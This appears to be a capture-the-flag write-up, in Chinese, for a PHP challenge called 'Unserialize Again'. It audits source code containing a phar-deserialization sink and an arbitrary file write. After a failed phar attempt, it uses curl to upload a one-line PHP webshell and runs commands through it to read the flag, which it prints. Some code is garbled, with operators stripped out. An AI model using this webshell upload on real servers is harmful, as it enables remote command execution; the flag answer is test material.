Unserialize Again

📅 2026/7/31 2:56:24
Unserialize Again
WriteUp: Unserialize Again题目信息题目名称Unserialize Again难度中等提示Pair pears?目标获取Flag第一步信息收集访问首页发现Cookie中提示pairing.php访问该页面获得源码。curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/ # 响应头中有 Set-Cookie: looklookpairing.php curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php第二步源码审计pairing.php中存在一个story类关键魔术方法如下class story{ private $useradmin; public $pass; public $eating; public $Godfalse; public function __wakeup(){ $this-userhuman; if(11){ die(); } // 后面有 if(1!1){ echo $fffflag; } } public function __destruct(){ if($this-Godtrue $this-useradmin){ system($this-eating); } else { die(Get Out!); } } } if(isset($_GET[pear])isset($_GET[apple])){ $pear$_GET[pear]; $Adam$_GET[apple]; $filefile_get_contents(php://input); file_put_contents($pear,urldecode($file)); file_exists($Adam); }file_put_contents($pear, urldecode($file))可以将POST body写入任意文件$pear可控。file_exists($Adam)如果$Adam是phar://协议则会触发 phar 反序列化。反序列化目标使__destruct满足Godtrue且useradmin从而执行system($this-eating)。__wakeup会将user改为human并die()需要绕过。第三步尝试 phar 反序列化未成功生成了绕过__wakeup的 phar 文件修改属性数为5或3但由于服务端对 phar 的兼容性问题或urldecode对二进制数据的破坏始终无法触发 RCE输出均为Get Out!。第四步另辟蹊径 – 直接上传 webshell注意到file_put_contents可以写入任意文件且目录可写。直接上传一个简单的 PHP webshellcurl -g -X POST http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php?pearshell.phpapplex \ --data ?php system($_GET[c]);?验证上传成功并执行命令curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cid # uid33(www-data) gid33(www-data) groups33(www-data)第五步寻找 Flag列出根目录发现特殊文件/flllag注意不是/flagcurl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cls%20-la%20/ # 发现 -rw-r--r-- 1 root root 43 Jul 10 00:49 flllag curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?ccat%20/flllag # CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}最终 FlagCTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}总结本题虽然名为反序列化但实际更简单的解法是利用file_put_contents直接写 webshell 获得 RCE。Phar 反序列化因环境限制未能成功但 webshell 方案同样有效。关键点是发现/flllag而非常见的/flag文件名。